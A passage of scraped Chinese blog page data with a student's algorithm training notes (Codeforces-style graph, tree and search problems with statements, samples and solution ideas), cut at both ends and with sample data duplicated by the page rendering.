\\le n,1 \\le w_i \\le 10^6)$，这 $a_i$、$b_i$ 是边的端点，而 $w_i$ 是边的长度。\n该图可能包括环，或者一对顶点之间包含多条边。\n输出形式 如果无路径，输出 $-1$，否则输出最短路径，如果有多个，则输出字典序最小的路径。\n对于两个整数序列 $A(a_1、a_2、…)$ 和 $B(b_1、b_2、…)$，称序列 $A$ 字典序小于序列 $B$ 当且仅当，存在 $k \\ge 1$，$i \\le k$ 时，$a_i \\le b_i$，$i=k$ 时，$a_i \u0026lt; b_i$ 。\n样例输入 复制代码 5 6 1 2 2 2 5 5 2 3 4 1 4 1 4 3 3 3 5 15 6 1 2 2 2 5 5 2 3 4 1 4 1 4 3 3 3 5 1 样例输出 复制代码 1 4 3 51 4 3 5 解题思路 首先提前说一下，别看它 $10^7$ 的数据范围，其实并没有几条边，可以说是弱中弱了。如果想通过原题，可以试着看看洛谷等地的题解。\n所以说这是个模板题，就像 Luogu P3371 一样？不是，起码不完全是。\n它加入了路径输出，而且还要输出字典序最小的路径。我的解决方法是为每个点增加一个vector，存储从1号点到这里最短且字典序最小的路径，当检测到更短的路径时一律替换为更短的路径并更新dist数组，而当检测到同样长度的路径时，如果字典序更小，就替换路径。\n如何比较vector的字典序？那当然是手撸比较函数。那string自带比较函数，为什么不用string存路径？因为它会认为 1 3 15 2 要比 1 3 5 2 字典序更小。\n2. 0-1串 来源：Codeforces 327A Flipping Game\n个人难度评级：2\n问题描述 对于一个包含 $n$ 个整数元素的序列 $a_1$、$a_2$、\u0026hellip;、$a_n$，每个元素的值或者是 $0$ 或者是 $1$，选择两个下标 $i$ 和 $j(1 \\le i \\le j \\le n)$, 对于所有的此范围内的元素 $a_k(i \\le k \\le j)$，执行操作 $a_k=1-a_k$。\n选择合适的 $i$ 和 $j$，执行上述操作一次之后，可以得到的新序列中包含 $1$ 的个数最多是多少？\n输入形式 输入的第一行为一个整数 $n(1 \\le n \\le 100)$，接来的一行为 $n$ 个整数，每个整数或者是 $0$ 或者是 $1$。\n输出形式 输出为一个整数，表示执行一次上述操作后可以获得的最大 $1$ 的个数。\n样例输入1 复制代码 5 1 0 0 1 05 1 0 0 1 0 样例输出1 复制代码 44 样例输入2 复制代码 4 1 0 0 14 1 0 0 1 样例输出2 复制代码 44 样例说明 在第一个样例中，选择 $i=2, j=5$, 改变后的序列为 $[1 1 1 0 1]$，包含4个1，很显然无法改变为 $[1 1 1 1 1]$。\n在第二个样例中，选择 $i=2, j=3$，改变后的序列为 $[1 1 1 1]$，包含4个1。\n解题思路 CG上的题目标签中赫然写着”动态规划 “” 前缀和 “，但这毕竟是一道CF A题，出现了范围十分小的数据范围，O(n3) 的暴力枚举算法也能轻松通过，即使是CF原数据。枚举左端点和右端点，分别计算区间左边、中间和右边的和相加张，在各种情况中取最大值即可。注意左右端点可以重合，也可以延伸到尽头。\n如果嫌左右加和太慢，似乎也可以写棵线段树？其实前缀和优化之后根本不需要对左右两边进行加和，只需要对翻转的部分进行操作。对此，你可以看 洛谷的题解，有一些写得不错。\n3. 良心树 来源：Codeforces 1143C\n个人难度评级：4\n问题描述 给定一颗有根树，顶点编号为 $1~n$，树是一个无环的连通图，有根树有一个特定的顶点，称为根。\n顶点 $i$ 的祖先是从根到顶点i的路径上除顶点 $i$ 以外的所有顶点，顶点 $i$ 的父母是 $i$ 的祖先中最接近 $i$ 的顶点，每个顶点都是它父母的孩子。在给定的树中，顶点 $i$ 的父母是顶点 $p_i$，对于根，$p_i$ 为 $-1$。例如：\n这是一个 $n=8$ 个顶点的树，根为 $5$， 顶点 $2$ 的父母为 $3$，顶点1的父母为 $5$,$6$ 的祖先为 $4$ 和 $5$，$7$ 的祖先为 $8$、$3$ 和 $5$。\n在树中，其中一些顶点不尊重其他一些顶点，实际上，如果 $c_i=1$，表示顶点 $i$ 不尊重它的所有祖先，而如果 $c_i=0$，则表示它尊重它所有的祖先。\n你需要一个一个地删除一些顶点，在每一步中，选择一个非根顶点，它不尊重它的父母并且它的所有孩子顶点也不尊重它。如果有几个这样的顶点，你需要选择具有最小编号的顶点。当你删除了这样的一个顶点 $v$, 则 $v$ 的所有子顶点与 $v$ 的父母顶点相连。\n上图是删除顶点 $7$ 的示例。\n直到树中无满足删除标准的顶点，则上述过程停止。按顺序输出你删除的所有顶点，注意这个顺序的唯一的。\n输入形式 输入的第一行为一个整数 $n(1 \\le n \\le 10^5)$，表示树的顶点数。\n接下来的 $n$ 行描述了整颗树：第 $i$ 行包含两个整数 $p_i$ 和 $c_i(1 \\le p_i \\le n,0 \\le c_i \\le 1)$，这里 $p_i$ 是顶点 $i$ 的父母，若 $c_i=0$，表示顶点 $i$ 尊重它的父母，$c_i=1$，表示顶点 $i$ 不尊重它的父母，$p_i=-1$ 时，表示顶点 $i$ 是树的根，同时 $c_i=0$。\n输出形式 如果树中至少有一个顶点被删除，则按照顺序输出顶点编号，否则输入 $-1$。\n样例输入1 复制代码 5 3 1 1 1 -1 0 2 1 3 05 3 1 1 1 -1 0 2 1 3 0 样例输出1 复制代码 1 2 41 2 4 样例输入2 复制代码 5 -1 0 1 1 1 1 2 0 3 05 -1 0 1 1 1 1 2 0 3 0 样例输出2 复制代码 -1-1 样例输入3 复制代码 8 2 1 -1 0 1 0 1 1 1 1 4 0 5 1 7 08 2 1 -1 0 1 0 1 1 1 1 4 0 5 1 7 0 样例输出3 复制代码 55 样例说明 第一个样例的删除过程如下（在图中，$c_i=1$ 的顶点是黄色的）\n首先删除顶点 $1$，因为它不尊重祖先并且它的所有孩子也不尊重它，而 $1$ 是这样的顶点中编号最小的 删除后顶点 $2$ 将连接到顶点 $3$ 然后删除顶点 $2$，因为它不尊重祖先并且它的所有孩子也不尊重它。 顶点 $4$ 将连接到顶点 $3$ 然后删除顶点 $4$，因为它不尊重祖先，并且它的所有孩子也不尊重它（无孩子） 无更多顶点可删 在第二个样例中，无需删除顶点\n顶点 $2$ 和 $3$ 的孩子尊重它们 顶点 $4$ 和 $5$ 尊重它们的祖先 在第三个样例中显示如下\n解题思路 CG系统上的翻译帮了倒忙，Codeforces的题目原文也不难懂，建议去看英文原文，能够对题面有更好的理解。\n下面介绍的是一种思考有难度，而其他方面十分有优势的做法。不需要图论知识，不需要树论知识（需要的知识原题已讲明），更不需要DFS！推荐大家去看Luogu@songhongyi的题解，讲得非常清楚，切中要害：题解 CF1143C 【Queen】 - 一位编程爱好者 - 洛谷博客 (luogu.org)\n这道题的一个条件十分重要：不尊重就是不尊重 所有 祖先，同样尊重的话也是尊重 所有 祖先。如果一个顶点被移除，那么它的所有子结点都不尊重它，它自己也不尊重父结点。这一支，以前是，把子结点连到父结点之后也是，都是不尊重父结点的。至于尊重的，根本就不会被移除，当然更没有影响。也就是说，移除顶点时，临近点的受尊重状态并不会随之改变。\n这样，从小到大删除并输出符合条件的结点，就可以转化为仅从小到大输出符合条件的结点，而不用真正的删除，反正删不删造成的影响实际上并不重要；洛谷的题目翻译隐去了这部分推导过程，使得题目变得过于简单，所以我认为不甚合适。\n基于以上原因，我们进一步的确定，根本不需要建树。将每个结点输入并将那两个条件计算即可。上述的那篇题解提供了非常好的办法：位运算，准确的说是位与。初始将每个结点都设为被所有子节点不尊重，然后对它每个子节点，如果有一个尊重它，按位与之后，就是0，即被尊重。\n4. 最昂贵的旅行 个人难度评级：2\n问题描述 这个国家有 $n$ 个城市，编号从 $0~n-1$，城市网络中没有任何环路，但可以从任意一个城市出发沿公路直接或间接到达其他城市。\n有人住在编号为 $0$ 的城市里，他希望去其他的一个城市旅行，但他不想付出更多的成本，所以他想知道去哪个城市的成本是最高的。\n输入形式 输入的第一行为一个整数 $n(3 \\le n \\le 100)$，接下来的 $n-1$ 行每行包括 $3$ 个整数 $u、v、c(0 \\le u,v \\le n-1,1 \\le c \\le 10^4)$，意为在城市 $u$ 和 $v$ 之间有公路直接相连，且旅行需要花费的成本为 $c$。\n输出形式 输出为一个整数，表示从城市 $0$ 出发去到其他的某个城市，需要付出的最大成本。\n样例输入1 复制代码 4 0 1 4 0 2 2 2 3 34 0 1 4 0 2 2 2 3 3 样例输出1 复制代码 55 样例输入2 复制代码 6 1 2 3 0 2 100 1 4 2 0 3 7 3 5 106 1 2 3 0 2 100 1 4 2 0 3 7 3 5 10 样例输出2 复制代码 105105 样例输入3 复制代码 11 1 0 1664 2 0 881 3 2 4670 4 2 1555 5 1 1870 6 2 1265 7 2 288 8 7 2266 9 2 1536 10 6 337811 1 0 1664 2 0 881 3 2 4670 4 2 1555 5 1 1870 6 2 1265 7 2 288 8 7 2266 9 2 1536 10 6 3378 样例输出3 复制代码 55515551 解题思路 题意：求单源最短路径中的最大值。\n其实基本就是dijkstra模板题，如果你会了第1题，没有理由不会这道题。\n一个小坑：道路是双向的，这体现在样例2中，如果是单向道路，那么城市1就不能到达，而题中保证了所有城市都可以到达。\n5. 猫与餐厅的故事 来源：Codeforces 580C（数据差别很大）\n个人难度评级：4\n问题描述 公司今天发薪，阿迪想与朋友们去餐厅庆祝一下。\n他住在一个非常神奇的公园里，这个公园是一个根在顶点 $1$，且由 $n$ 个顶点组成的有根树，顶点1也就是他的住所。然而不幸的是，公园也有许多的猫，阿迪已经找出了所有包含猫的顶点。\n公园的叶子顶点都有餐厅，阿迪想选择一家他可以去的餐厅，但很不幸，他非常害怕猫，因而如果从餐厅去往他家的路径上有连续包含猫的数量超过 $m$ 时，他将不能去往这家餐厅。\n你的任务是帮助他确认他能去的餐厅的数量。\n输入形式 输入的第一行包含两个整数 $n$ 和 $m(2 \\le n \\le 10^5, 1 \\le m \\le n)$，分别表示树的顶点数以及对于阿迪来说可以忍受的最大的包含猫的连续顶点数。\n第二行包含 $n$ 个整数 $a_1$、$a_2$、\u0026hellip;、$a_n$，这里的每个 $a_i$ 或者为 $0$（顶点 $i$ 无猫），或者为 $1$（顶点 $i$ 有猫）。\n接下来的 $n-1$ 行包含用形式 “$x_i$ $y_i$”（$1 \\le x_i,y_i \\le n, x_i \\neq y_i$）表示的树的边，表示顶点 $x_i$ 和顶点 $y_i$ 之间有边相连。\n输出形式 输出为一个整数，表示从阿迪家去往叶子顶点的路径上至多包含 $m$ 只猫的叶子顶点的数量。\n样例输入1 复制代码 4 1 1 1 0 0 1 2 1 3 1 44 1 1 1 0 0 1 2 1 3 1 4 样例输出1 复制代码 22 样例输入2 复制代码 7 1 1 0 1 1 0 0 0 1 2 1 3 2 4 2 5 3 6 3 77 1 1 0 1 1 0 0 0 1 2 1 3 2 4 2 5 3 6 3 7 样例输出2 复制代码 22 样例说明 很显然，树是具有 $n$ 个顶点 $n-1$ 条边的连通图，有根树是有一个称为根的特殊顶点的树。\n在样例一中\n包含猫的顶点变为红色，餐厅在顶点2、3、4，阿迪不能去到在顶点2的餐厅。\n在样例二中\n餐厅在顶点4、5、6、7，阿迪不能去到6和7。\n解题思路 这题我CF全过了，但CG全部WA，扫了一眼，似乎CG的样例比CF还猛（以至于无法显示整个样例）…… 翻译质量倒是还凑合，起码比英语读着舒服了。\n此题的数据结构是树，但不是二叉树，所以并不建议使用二叉树的表示方式记录，而应该使用图的方式（毕竟树也是图嘛）。你可以使用邻接矩阵或者邻接表存储，但我更推荐 链式前向星，下面的思路也是基于链式前向星展开的。\n需要注意结点的编号从1开始。考虑到链式前向星，我建议边的下标也从1开始。为了防止输入边的方向并不是从根节点向叶子结点，可以考虑存成无向图，两种方向都存进去，不会MLE。\n在构建完成整张图之后，使用DFS从结点1开始搜索，除了要维护当前结点编号之外，还要维护当前路径已经连续有猫的数量。一旦后者大于m，直接return。\n除此之外，我们都知道到了叶子结点就要计数。但是如何判断叶子结点呢？我们用 $head[currPos]$ 表示当前结点第一条边的终点下标，而 $next[i]==1$ 第i条边不再有下一条同起点边。叶子结点只连着一条边，所以需要 $next[head[currPos]]==1$ ，来表示currPos只连了一条边（即父节点）。同时为了防止无父节点的根节点被误判，还需要加入 $currPos!=1$ 。\n访问过的结点打上visited标记，因存的是无向图，这样可以防止重复访问。visited的结点也可以直接return。\n之后就是对当前结点连接的结点的遍历了，如果有猫则当前连续猫数 + 1，否则清空。\n6. 旅行的期望值 来源：Codeforces 839C\n个人难度评级：4\n问题描述 在古代阿拉伯王国，有 $n$ 座城市有 $n-1$ 条道路，每条道路连接两座城市，人们可以从任意城市出发到达另外一座城市。\n西蒙住在第一个城市，骑着马沿着马路去旅行，但是这个国家非常多雾，他也看不清楚马把他带向了哪里，当他们到达一个城市时（包括第一个城市），接下来可以去往与该城市相连的任意一个城市，然而他的马有些奇特，就是只会去往以前从未到达过的城市，且对于下一个城市的选择是等概率的，直到没有可以去往的城市为止。\n设每条道路的长度为1，从第一个城市开始旅行，那么这次旅行的期望长度（旅行距离的期望值）的多少？\n如果你对期望值（平局值）的定义不太了解，可以查阅相关资料。\n输入形式 输入的第一行为一个整数 $n(1 \\le n \\le 100000)$，表示城市的数量。\n接下来的 $n-1$ 行，每行包含两个整数 $u_i$ 和 $v_i(1 \\le u_i,v_i \\le n,u_i \\neq v_i)$，表示由第 $i$ 条道路连接的城市。\n输入保证能从一个城市到达其他任意一个城市。\n输出形式 输出一个数，表示此次旅行的距离的期望值，旅行从城市1开始。\n答案的绝对或相对误差不能超过 $10^{-6}$，也就是说，如果你的答案为 $a$，正确答案为 $b$，则如果 $\\frac{|a-b|}{max(1,b)} \\le 10^{-6}$ 则检查程序会认为你的答案是正确的。\n样例输入1 复制代码 4 1 2 1 3 2 44 1 2 1 3 2 4 样例输出1 复制代码 1.5000000000000001.500000000000000 样例输入2 复制代码 5 1 2 1 3 3 4 2 55 1 2 1 3 3 4 2 5 样例输出2 复制代码 2.0000000000000002.000000000000000 样例说明 在第一个样例中，旅行可以在等概率在城市3或4结束，城市3的距离为1而城市4的距离为2，因此，期望长度为1.5.\n在第二个样例中，旅行可以在城市4或5结束，两个距离都是2，因此期望长度为2。\n解题思路 又是奇奇怪怪但不影响做题的翻译。原题还贴了 “期望” 的Wikipedia 链接（英文），CG由于众所周知的原因已经去掉了。\n这张图仍然是一棵树，和上题的遍历方法差不太多。每个结点遍历时都要传入一个double类型概率值，代表遍历到此点的概率。因为向子节点走是等概率的，所以子节点的概率要除子节点数量，而这个数量需要提前算。\n计算期望，可以选择逐点加上遍历到此点的概率，也可以额外传一个深度的变量，遍历到叶子结点时乘上到此结点的概率一起加到期望里。\n题目要求相对误差不超过 $10^{-6}$ 即可，Codeforces确实是这么判的，它的测试数据和样例一样，留了15位小数；而CG似乎严格按照7位小数比对判断，所以直接输出7位小数就可以了。\n7. 有效的BFS 来源：Codeforces 1037D\n个人难度评级：5\n问题描述 在图的BFS（广度优先搜索）中，通常采用队列来保存当前顶点的邻接点，但对对应邻接点的存入顺序没有要求，因此对于一个图的BFS结果可以有多个，在本问题中，从顶点1开始，请验证一个给定的顶点序列是否为一个有效的BFS序列？\n输入形式 输入的第一行为一个整数 $n (1 \\le n \\le 2 \\times 10^{5})$ ，表示树中节点的数量。\n接下来 $n-1$ 行描述了树的边，每行包含两个整数 $x$ 和 $y(1 \\le x,y \\le n)$，表示对应边的两个端点，输入保证给定的图构成一颗树。\n最后一行为 $n$ 个互不相同的整数 $a_{1}$、$a_2$、……、$a_n (1 \\le a_i \\le n)$ ，代表待检验的顶点序列。\n输出形式 如果待检验的序列是一个正确的BFS序列，输出 \u0026ldquo;Yes\u0026rdquo;，否则输出 \u0026ldquo;No\u0026rdquo;。\n样例输入1 复制代码 4 1 2 1 3 2 44 1 2 1 3 2 4 样例输出1 复制代码 YesYes 样例输入2 复制代码 4 1 2 1 3 2 4 1 2 4 34 1 2 1 3 2 4 1 2 4 3 样例输出2 复制代码 NoNo 解题思路 个人认为这个图用邻接链表方便点，那就不用前向星了。\nBFS中，属于同一个父节点的子节点，访问的顺序是任意的，但惟需保证先访问谁就要先访问谁的儿子。整体的思路就是模拟题中的BFS过程，如果发现按照题中的序列并不能完成BFS，那么就输出no然后 return。\n维护一个访问序列的队列 $visitSeq$，就是正常DFS模拟过程中的访问序列；以及一个待检查队列 $reqSeq$，来自题目要求的BFS队列。\n可以想到，对于遍历到的每一个BFS结点，它的 $childNum$ 个子节点必须全部放置于 $reqSeq$ 的队首，而队首的 $n$ 个元素也必须全部是这些子节点，否则就不是一个合法的BFS序列（根据先访问谁就先访问谁的子节点）。具体一点，就是逐个检查队首的前 $childNum$ 个元素是否包含在当前元素子节点的集合中，如果包含，则此处的遍历顺序是合法的，将这个元素推入待访问队列；否则，它就不合法。\n更具体地来讲，给访问过的结点打上一个 $visited$ 标记，以分辨父节点和子节点。遍历每个结点的时候，将所有 $visited==0$ 的结点扔进一个子节点的 set，它的大小就是 $childNum$。然后检查 $reqSeq$ 的前n个结点是否在set内，如果在，则将其推入 $visitSeq$，同时 reqSeq.pop()；否则，直接输出no然后 return。\n对于子节点非常多的测试数据（如Codeforces原题数据48），装进set是一个非常明智的提速方法，$O(log n)$ 查找起来嗖嗖的快。同时也要注意树的遍历第一个结点必须是1，忽视这一点会卡在原题数据39。\n8. 数组跳远 来源：Codeforces 1472C\n个人难度评级：5\n问题描述 对于一个具有 $n$ 个元素的数组 $a$, 执行以下操作：\n首先，选择下标 $i(1 \\le i \\le n)$—— 设置为数组的开始位置，放一个标记在 $i$ 处（在值 $a_i$ 的地方） 当 $i \\le n$ 时，你的得分将增加 $a_i$，且将标记向右移动 $a_i$ 个位置，也就是说用 $i+a_i$ 替换 $i$，继续这个过程 如果 $i\u0026gt;n$，则结束操作 例如， 如果 $n=5$ 且 $a=[7, 3, 1, 2, 3]$，则可以进行以下操作\n选择 $i=1$，操作过程为 $ i = 1 \\overset{+7}{\\longrightarrow} 8 $，最后得分为 $ a_1 = 7 $ 选择 $ i = 2 $，操作过程为 $ i = 2 \\overset{+3}{\\longrightarrow} 5 \\overset{+3}{\\longrightarrow} 8 $, 最后得分为 $ a_2 + a_5 = 6 $ 选择 $ i = 3 $，操作过程为 $ i = 3 \\overset{+1}{\\longrightarrow} 4 \\overset{+2}{\\longrightarrow} 6 $, 最后得分为 $ a_3 + a_4 = 3 $ 选择 $ i = 4 $，操作过程为 $ i = 4 \\overset{+2}{\\longrightarrow} 6 $, 最后得分为 $ a_4 = 2 $ 选择 $ i = 5 $，操作过程为 $ i = 5 \\overset{+3}{\\longrightarrow} 8 $, 最后得分为 $ a_5 = 3 $ 请选择合适的开始位置，使得经过上述操作后可获得最大的分数。\n输入形式 输入的第一行为一个整数 $ t $ ($ 1 \\leq t \\leq 10^4 $)，表示测试用例的组数。\n每个测试用例的第一行为一个整数 $ n $ ($ 1 \\leq n \\leq 2 \\cdot 10^5 $)，表示数组 $a$ 的元素个数\n接下来一行包含 $n$ 个整数 $ a_1, a_2, \\dots, a_n $ ($ 1 \\leq a_i \\leq 10^9 $)，表示数组 $a$ 的元素\n输出形式 对于每个测试用例，输出独立一行，表示选择合适的开始位置后经过上述操作可以获得的最大分数。\n样例输入 复制代码 4 5 7 3 1 2 3 3 2 1 4 6 2 1000 2 3 995 1 5 1 1 1 1 14 5 7 3 1 2 3 3 2 1 4 6 2 1000 2 3 995 1 5 1 1 1 1 1 样例输出 复制代码 7 6 1000 57 6 1000 5 解题思路 借鉴自 洛谷 @Melon_Musk 的题解。讲得清楚明白，我觉得我没必要再写了。\n因为 $a[i]$ 是按照位置顺序输入的，$a[i]$ 数组没必要全存起来，随输入随处理即可，可以极大幅度节省内存消耗；此人写了一个快读，输入大量数据时能够节省时间消耗，但本题时间限制为2s，scanf实测能过，甚至cin应该也可以。\n9. 踩点上课 来源：Codeforces 1520G\n个人难度评级：5\n问题描述 阿迪通常开着闹钟睡觉，这样他才不至于上课迟到。\n他想知道能否赶上第一节课，为了不迟到，他需要知道从家到学校所需要的最少时间是多少。\n阿迪生活的城市是一个 $n\\times{m}$ 的矩形区域，其中每个单元 $ (i, j) $ 由一个数字 $ a_{ij} $ 来表示\n数字为 $-1$ 时表示该单元被占用，禁止通行 数字为 $0$ 时表示该单元是空闲的，阿迪可以穿过 数字为 $ x $ ($ 1 \\le x \\le 10^9 $) 时表示该单元包含入口，需要耗费的时间成本为 $x$，包含入口的单元也是空闲的，可以自由通行 从任何包含入口的单元出发，阿迪可以去往任何包含入口的其他单元，从入口 $(i,j)$ 到入口 $(x,y)$ 的时间成本总和为 $ a_{ij} + a_{xy} $。\n除了在两个包含入口的单元之间移动，他也可以在具有相邻边的未被占用的单元之间移动，耗费的时间为 $w$。实际上，他也可以进入一个包含入口的单元而不使用它。\n开始时，阿迪处在左上角单元 $(1, 1)$，而学校位于右下角 $(n,m)$。\n输入形式 输入的第一行包含三个整数 $n$、$m$ 和 $ w $ ($ 2 \\le n, m \\le 2 \\cdot 10^3 $ , $ 1 \\le w \\le 10^9 $)，此处 $n$ 和 $m$ 是城市的大小，$w$ 是在未被占用的单元之间移动所需要的时间。\n接下来的 $n$ 行每行包含 $m$ 个数 ($ -1 \\le a_{ij} \\le 10^9 $ )，表示对单元的描述。\n输入保证单元 $(1, 1)$ 和 $(n,m)$ 是空闲的。\n输出形式 输出为一个数，表示阿迪去往学校需要花费的最少时间，如果他不能去到学校，则输出 $-1$。\n样例输入 复制代码 5 5 1 0 -1 0 1 -1 0 20 0 0 -1 -1 -1 -1 -1 -1 3 0 0 0 0 -1 0 0 0 05 5 1 0 -1 0 1 -1 0 20 0 0 -1 -1 -1 -1 -1 -1 3 0 0 0 0 -1 0 0 0 0 样例输出 复制代码 1414 样例说明 第一组样例的说明如下：\n解题思路 英语基础还可以的同学可以去看：Codeforces Round #719 (Div. 3) Editorial - Codeforces。\n简单来说，首先如果用传送门，必只能用一次以达到花费最小，这样只需要考虑用传送门和不用两种情况。不用传送门，就是找起点到终点的最短路径；而如果用传送门，则需要分别找到与起点和终点间成本最小的点（不只有 $w \\times {dist(D,i)}_{min}$，还要加上该传送门的权值 $a_i$，才能代表使用该传送门的成本），然后相加。将两者比较，即可得到最小成本。\n具体一点来说，就是分别从起点和终点开始两次BFS，若到达另一端则更新起点终点距离，若遇到传送门则算出成本并更新最小成本值。\n注意使用long long存储与距离有关的变量；各种初始值也要设定大一些，否则无法通过Codeforces测试数据（可能会卡在 #122左右，后面几个全是大数据）。\n未曾设想的道路 有一种奇怪的想法：结点数和每个结点的边数不算很多，猜想可以建图，对于每个点，与相邻能通过的点之间有长为 $w$ 的边连接；如果此点是传送门点，则与其他传送门点均有长为 $a_i+a_j$ 的边连接。然后使用Dijkstra等单源最短路算法直接算出起点到终点的距离。\n10. 树的优化 来源：Codeforces 682C\n个人难度评级：6\n问题描述 在一个原始森林里，有人发现了一颗根编号为 $1$ 的神奇树，它的每个顶点以及每条边上都标有一个数字。\n然而，他发现这颗树上有些顶点有瑕疵，也称为瑕疵点。一个顶点 $v$ 被称为瑕疵点是指在它的子树中存在点 $u$，使得 $dist(v,u)\u0026gt;a_u$，这里 $a_u$ 是标注在顶点 $u$ 上的数字，而 $dist(v,u)$ 是所有标注在从顶点 $v$ 到顶点 $u$ 的路径上边的数字之和。\n如果一个顶点只有一条路径相连，则这个顶点是树的叶子节点。但是树的根节点是叶子节点，当且仅当数树仅有一个单一顶点，即根节点。\n这人决定删除一些叶子节点，直到整颗树不存在任何瑕疵点。那么，需要删除的叶子节点的最少数是多少？\n输入形式 输入的第一行为一个整数 $n$ $(1 \\le n \\le 10^5 )$。\n接下来一行为 $n$ 个整数 $a_1$、$a_2$、\u0026hellip;、$a_n$ $(1 \\le a \\le 10^9)$，这里 $a_i$ 是标注在顶点 $i$ 上的数字。\n接下来的 $n-1$ 描述了树中边的情况，第 $i$ 行有两个整数 $p_i$ 和 $c_i$ $(1 \\le p_i \\le n, -10^9 \\le c_i \\le 10^9)$，这意味着在顶点 $i+1$ 和 $p_i$ 之间有边相连，其上标有数字 $c_i$\n输出形式 输出一个整数，表示需要删除的最少叶子节点数。\n样例输入 复制代码 9 88 22 83 14 95 91 98 53 11 3 24 7 -8 1 67 1 64 9 65 5 12 6 -80 3 89 88 22 83 14 95 91 98 53 11 3 24 7 -8 1 67 1 64 9 65 5 12 6 -80 3 8 样例输出 复制代码 55 提示 以下是可能的处理过程\n解题思路 这个题我做的时候觉得挺难的，主要是没读懂，而且这个题的弯绕得很多，所以给了6级。参考了 【Codeforces 682C】Alyona and the Tree - AWCXV - 博客园 (cnblogs.com)。\n我们设结点 $u$ 是在结点 $v$ 子树的叶子结点，如果 $dist(v,u)\u0026gt;a_u$，即它们之间的边权和大于 $u$ 点的点权，那么下面的 $u$ 就会让上面的 $v$ 伤心（原题说法，即瑕疵，这里习惯了不改了）。这时候，就要把下面的 $v$ 叶子移除，来让 $u$ 不因它伤心。\n能让 $u$ 结点伤心的，并不一定是叶子结点，而是任何能满足边权和大于 $v$ 点权的 $v$ 结点，即使 $v$ 在中间；而只要让 $u$ 伤心，就必须移除 $v$。题面要求我们只能移除叶子结点，这样的话，如果子树中的中间结点 $v$ 让 $u$ 伤心，必须移除 $v$ 为根节点的整棵子树。这样是完全可行的，因为上面的结点伤不伤心，跟 $v$ 的子节点一点关系都没有，爱怎么移除怎么移除，不把下面的移除干净，导致伤心的 $v$ 的还没办法移除。\n也正是由于 $v$ 下面的结点和上面结点是否伤心无关，我们可以知道：设结点对 $\u0026lt;u,v\u0026gt;$ 代表下面的 $v$ 让上面的 $u$ 伤心，如果 $\u0026lt;u,v\u0026gt;$ 相比 $\u0026lt;p,q\u0026gt;$ 更靠树的根部（也就是靠上），我们可以直接删除 $v$ 的子树，如果 $\u0026lt;p,q\u0026gt;$ 的关系因删除而不再存在，也并不需要在意，正好一起切没了。\n这个时候，就可以想出一个并不是非常高效的算法（但应该能应付CG，没实现，不保证）：\n先使用一次DFS，求出根节点和各结点之间的边权和 $dist(1,u)$，存储，因为 $dist(u,v)=dist(1,v)-dist(1,u)$。然后使用第二轮DFS，将每个遍历到的结点作为 $u$，然后再以它为根节点向下进行一层DFS，枚举它的根节点作为 $v$。检验 $u$ 是否会被 $v$ 搞伤心，如果会，直接删除通向 $v$ 的边，代表删除下面的整棵树，不会的话则继续搜索。最后再一轮DFS得到没被删除的结点数量，计算得到删掉的数量（或者在删除结点时，以被删掉的 $v$ 为起点DFS得到被删除的结点数量），输出。\n注意到一个问题：对于任意结点 $v$，不管它造成了从 $1$ 到 $v$ 之间哪个结点不高兴，$v$ 为根的树都要被删除。如果我们记录从 $1$ 到 $v$ 以 $v$ 结尾的 ** 最大 ** 边权和，就不需要判上游的特定_某个_结点是否会被搞伤心（上面算法的思想），只需要一次判断，就可以得出上游_是否会有_结点被 $v$ 搞得不伤心，从而直接决定删不删掉 $v$。\n那如何得出最大边权和呢？整个过程可以直接整合进一次DFS中，就是这个算法的核心。给DFS函数传入两个变量，当前结点 $u$ 的编号和最大边权和。如果最大边权和大于该节点的权值直接返回，不再搜索下去也不计数，代表这个点被删除。否则，没被删除的点计数 + 1，然后继续DFS，分两种情况：如果当前最大边权和小于0，则传入的最大边权和就是 $u$ 与子节点间的边权；否则，传入当前最大边权和 + 上述边权。这里使用了贪心的思想，来保证边权和最大，且以当前结点 $u$ 结尾。这一段结合代码来讲，就是这样：\ncpp 复制代码 if (dist\u0026gt; 0) //dist 是当前最大边权和 { dfs(to[i], dist \u0026#43; weight[i]); // 链式前向星存边，边号 i，to[i] 是边的终点，weight[i] 是这条边的边权 } else { dfs(to[i], weight[i]); } 1 2 3 4 5 6 7 8 if (dist\u0026gt; 0) //dist 是当前最大边权和 { dfs(to[i], dist + weight[i]); // 链式前向星存边，边号 i，to[i] 是边的终点，weight[i] 是这条边的边权 } else { dfs(to[i], weight[i]); } 题中数据的输入方式已经表明了谁是更靠近根的节点，我们只需要存储有向边，不会出现下面的结点连往上面结点的边，也就不再需要打标记证明哪个结点访问过。\n","date":"July 12, 2021","matchCount":0,"permalink":"/post/hnu-csp-training-5/","preview":"","title":"湖南大学 2021 程序设计训练笔记 - 作业训练 5"},{"content":"所有代码均已上传至 homework/CSP-Training at master · cyp0633/homework (github.com)。不保证代码均正确，正确的也不保证为最优解，可以查看Commit详情进一步了解。\n1. 字符串反转2 个人难度评级：2\n问题描述 给定一个句子（只包含字母和空格）， 将句子中的单词位置反转，单词用空格分割, 单词之间只有一个空格，前后没有空格。 比如： “hello xiao mi”-\u0026gt; “mi xiao hello”\n输入形式 输入数据有多组，每组占一行，包含一个句子 (句子长度小于1000个字符)\n输出形式 对于每个测试示例，要求输出句子中单词反转后形成的句子\n样例输入 复制代码 hello xiao miI am a studenthello xiao miI am a student 样例输出 复制代码 mi xiao hello student a am Imi xiao hello student a am I 解题思路 对于每一行，逐个输入单词压入栈，cin.peek到回车 或者文件末尾（用EOF表示，可以用 ^Z触发）就全部输出，因为输入内容最后没有回车，只判断回车是会WA掉大部分点的。\n2. 487-3279 来源：UVa 696 测试数据可能不同\n个人难度评级：2\n问题描述 每个人都喜欢有令人难忘的电话号码。要想让电话号码变得令人难忘的一种方法是拼出一个令人难忘的单词或短语。例如，你可以拨打滑铁卢大学的电话，拨打令人难忘的电话号码TUT-GLOP。\n有时只有一部分号码被用来拼写一个单词，例如，你可以拨打310-gino从Gino\u0026rsquo;s订购披萨。\n要使电话号码令人难忘的另一种方法是以一种令人难忘的方式对数字进行分组。你可以从比萨饼小屋中订购比萨饼，方法是拨打他们的 “3个10”，即号码3-10-10-10。\n电话号码的标准格式是七位的十进制数字，第三和第四位之间包含连字符（例如888-1200）。电话的键盘提供字母到数字的映射，如下所示：\nA, B, C映射到2\nD, E, F映射到3\nG, H, I映射到4\nJ, K, L映射到5\nM, N, O映射到6\nP, R, S映射到7\nT, U, V映射到8\nW, X, 